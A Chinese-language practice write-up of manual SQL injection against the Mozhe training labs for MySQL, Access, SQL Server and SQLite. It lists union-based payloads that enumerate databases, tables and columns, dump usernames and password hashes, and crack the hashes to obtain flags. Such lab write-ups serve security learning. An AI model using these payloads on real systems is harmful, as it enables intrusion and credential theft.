今天练习了墨者的线上数据库漏洞手工注入(别问为什么,问就是简单,我可以做)。注:没有钱所以只做了几个,有钱的可以全部做完。
在你们去练习的前面我需要普及一些关于数据库的知识:第一点 数据库分为关系数据库和非关系数据库,两者代表(在我的印象里面的代表)关系型.Oracle,mysql,sqlserver,Access 非关系.MongoDB。两者的主要区别就是:https://blog.csdn.net/aaronthon/article/details/81714528。
练习的类型是关系型,非关系需要币。关系型的MySQL,SqlServer,Access,SQLite。
(漏洞在公告链接)
MySQL是最常见的数据库,一:通常使用单引号,and 1=1,1=2,来判断漏洞。(不要用常规的'来隔断)
二·:接着使用order by 判断字段长度(4)
三:接着使用联合查询 and 1=2 union select 1,2,3,4 来判断第几位可以显示(2,3)
四:接着使用 and 1=2 union select 1,database(),3,4 显示数据库名称(mozhe_Discuz_StormGroup)
五:接着使用联合查询 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' 显示表名(StormGroup_member,notice:应该是第一个)。
六:接着使用and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' 显示列名(id,name,password,status)显然用到name,password。
七:接着使用and 1=2 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member(mozhe,密码有两个所以要用第二个:356f589a7df439f6f744ff19bb8092c0,b528804bdea16273bb3758cc254bf610。MD5加密(因为有32位和常见加密)解密网站:https://www.somd5.com/)
ok最后就是提交flag。
接着就是Access数据库
首先和一,二一样判断字段长
三:接着联合查询显示第几位显示就不可以了,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名 and exists(select * from admin) 。这个是真np,常用的就是admin,manage。实在不行砸门用sqlmap破一下(使用sqlmap字典中的名称去试比手工快,名称更完全)后面工作可以靠sqlmap,对于我们来说还是学习手工比较好。(admin)
四:接着就可以使用联合查询语句了and 1=2 union select 1,2,3,4 from admin 显示(2,3)
五:然后又tm猜字段名称一般有猜测字段有id ,name ,username,user_name,pwd,password,passwd。and exists(select username from admin),页面返回正常。淦感觉这个需要使用工具。
六:使用联合查询语句 and 1=2 union select 1,username,passwd, 4 from admin (moke,7e6ec4fadf84938f) MD5 解密
ok提交flag(发现是access建议使用sqlmap)
SqlServer数据库
首先与一,二一样
三:使用and 1=2 union select 1,2,3,4 不行。np禁止了,那不行啊又盲猜卖,建议使用sqlmap。但是不符合砸门的想法呀。所以砸门使用 -2 and 1=3 union all select null,null,null,null。发现可以。然后逐渐改位子找到现实位子(2,3,3为字符)
四:使用-2 union all select null,db_name(),null,null 找到数据库名称(mozhe_db_v2)
五:使用 -2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null (xtype='u' 查表 manage)查有其他表不 -2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null (announcement)。
六:使用-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null 查列名(id) -2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null (username) 后面还有(password)
七:查看列中的东西 -2 union all select null,username, null,null from manage(admin_mz) -2 union all select null, password,null ,null from manage(72e1bfc3f01b7583)MD5
ok提交flag
SQLite数据库
首先和一二三一样。可以看见现实为(2,3)
四:这里需要看一个SQLite有一个隐藏表为sqlite_master 表里面的列字段为 type,name,tbl_name,rootpage,sql。
五:使用and 1=3 union select 1,tbl_name,sql,4 from sqlite_master 。(WSTMart_reg,name,password)
六: and 1=3 union select 1,name,password,4 from WSTMart_reg。最后md5解码。
ok 提交flag
总结sqlmap真好。